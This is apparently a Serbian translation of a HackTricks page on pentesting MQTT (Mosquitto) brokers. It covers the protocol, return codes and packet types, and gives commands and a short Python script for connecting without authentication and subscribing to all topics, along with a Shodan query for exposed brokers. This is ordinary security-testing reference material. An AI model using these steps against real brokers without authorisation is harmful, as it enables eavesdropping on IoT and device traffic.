8.7 KiB
1883 - Pentesting MQTT (Mosquitto)
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
WhiteIntel
WhiteIntel je dark-web pretraživač koji nudi besplatne funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti kompromitovani od strane stealer malvera.
Njihov primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i ransomware napada koji proizlaze iz malvera koji krade informacije.
Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač besplatno na:
{% embed url="https://whiteintel.io" %}
Basic Information
MQ Telemetry Transport (MQTT) je poznat kao publish/subscribe messaging protocol koji se ističe svojom ekstremnom jednostavnošću i lakoćom. Ovaj protokol je posebno prilagođen okruženjima gde uređaji imaju ograničene mogućnosti i rade preko mreža koje se karakterišu niskim propusnim opsegom, visokom latencijom ili nepouzdanim vezama. Osnovni ciljevi MQTT-a uključuju minimiziranje korišćenja mrežnog propusnog opsega i smanjenje potražnje na resursima uređaja. Pored toga, ima za cilj održavanje pouzdane komunikacije i pružanje određenog nivoa garancije isporuke. Ovi ciljevi čine MQTT izuzetno pogodnim za rastuće polje machine-to-machine (M2M) communication i Internet of Things (IoT), gde je od suštinskog značaja efikasno povezivanje mnoštva uređaja. Štaviše, MQTT je veoma koristan za mobilne aplikacije, gde je očuvanje propusnog opsega i trajanja baterije ključno.
Default port: 1883
PORT STATE SERVICE REASON
1883/tcp open mosquitto version 1.4.8 syn-ack
Inspecting the traffic
Kada MQTT broker primi CONNECT paket, šalje se CONNACK paket nazad. Ovaj paket sadrži kod povratka koji je ključan za razumevanje statusa veze. Kod povratka 0x00 znači da su akreditivi prihvaćeni, što označava uspešnu vezu. S druge strane, kod povratka 0x05 signalizira da su akreditivi nevažeći, čime se sprečava veza.
Na primer, ako broker odbije vezu zbog nevažećih akreditiva, scenario bi izgledao ovako:
{
"returnCode": "0x05",
"description": "Connection Refused, not authorized"
}
Brute-Force MQTT
Pentesting MQTT
Autentifikacija je potpuno opcionalna i čak i ako se autentifikacija vrši, enkripcija se po defaultu ne koristi (akreditivi se šalju u čistom tekstu). MITM napadi se i dalje mogu izvesti da bi se ukrali lozinke.
Da biste se povezali na MQTT servis, možete koristiti: https://github.com/bapowell/python-mqtt-client-shell i pretplatiti se na sve teme koristeći:
> connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
> subscribe "#" 1
> subscribe "$SYS/#"
Možete takođe koristiti https://github.com/akamai-threat-research/mqtt-pwn
Takođe možete koristiti:
apt-get install mosquitto mosquitto-clients
mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
mosquitto_sub -h <host-ip> -t "#" -v #Subscribe to ALL topics.
Ili možete pokrenuti ovaj kod da pokušate da se povežete na MQTT servis bez autentifikacije, prijavite se na svaku temu i slušate ih:
#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
import paho.mqtt.client as mqtt
import time
import os
HOST = "127.0.0.1"
PORT = 1883
def on_connect(client, userdata, flags, rc):
client.subscribe('#', qos=1)
client.subscribe('$SYS/#')
def on_message(client, userdata, message):
print('Topic: %s | QOS: %s | Message: %s' % (message.topic, message.qos, message.payload))
def main():
client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.connect(HOST, PORT)
client.loop_start()
#time.sleep(10)
#client.loop_stop()
if __name__ == "__main__":
main()
Više informacija
odavde: https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b
Publish/Subscribe obrazac
Model publish/subscribe se sastoji od:
- Publisher: objavljuje poruku na jednoj (ili više) tema u brokeru.
- Subscriber: pretplaćuje se na jednu (ili više) tema u brokeru i prima sve poruke koje šalje publisher.
- Broker: usmerava sve poruke od publisher-a do subscriber-a.
- Tema: sastoji se od jednog ili više nivoa koji su odvojeni kosem crtom (npr., /smartshouse/livingroom/temperature).
Format paketa
Svaki MQTT paket sadrži fiksni header (Slika 02). Slika 02: Fiksni header
Tipovi paketa
- CONNECT (1): Inicira klijent da zatraži vezu sa serverom.
- CONNACK (2): Potvrda servera o uspešnoj vezi.
- PUBLISH (3): Koristi se za slanje poruke od klijenta do servera ili obrnuto.
- PUBACK (4): Potvrda PUBLISH paketa.
- PUBREC (5): Deo protokola za isporuku poruka koji osigurava da je poruka primljena.
- PUBREL (6): Dalja potvrda u isporuci poruka, označava oslobađanje poruke.
- PUBCOMP (7): Poslednji deo protokola za isporuku poruka, označava završetak.
- SUBSCRIBE (8): Zahtev klijenta da sluša poruke sa teme.
- SUBACK (9): Potvrda servera o SUBSCRIBE zahtevu.
- UNSUBSCRIBE (10): Zahtev klijenta da prestane da prima poruke sa teme.
- UNSUBACK (11): Odgovor servera na UNSUBSCRIBE zahtev.
- PINGREQ (12): Poruka za proveru veze koju šalje klijent.
- PINGRESP (13): Odgovor servera na poruku za proveru veze.
- DISCONNECT (14): Inicira klijent da prekine vezu.
- Dve vrednosti, 0 i 15, su označene kao rezervisane i njihova upotreba je zabranjena.
Shodan
port:1883 MQTT
WhiteIntel
WhiteIntel je dark-web pretraživač koji nudi besplatne funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti bili kompromitovani od strane stealer malwares.
Njihov primarni cilj WhiteIntel-a je da se bori protiv preuzimanja naloga i ransomware napada koji proizlaze iz malvera koji krade informacije.
Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač besplatno na:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podrška HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitter-u 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.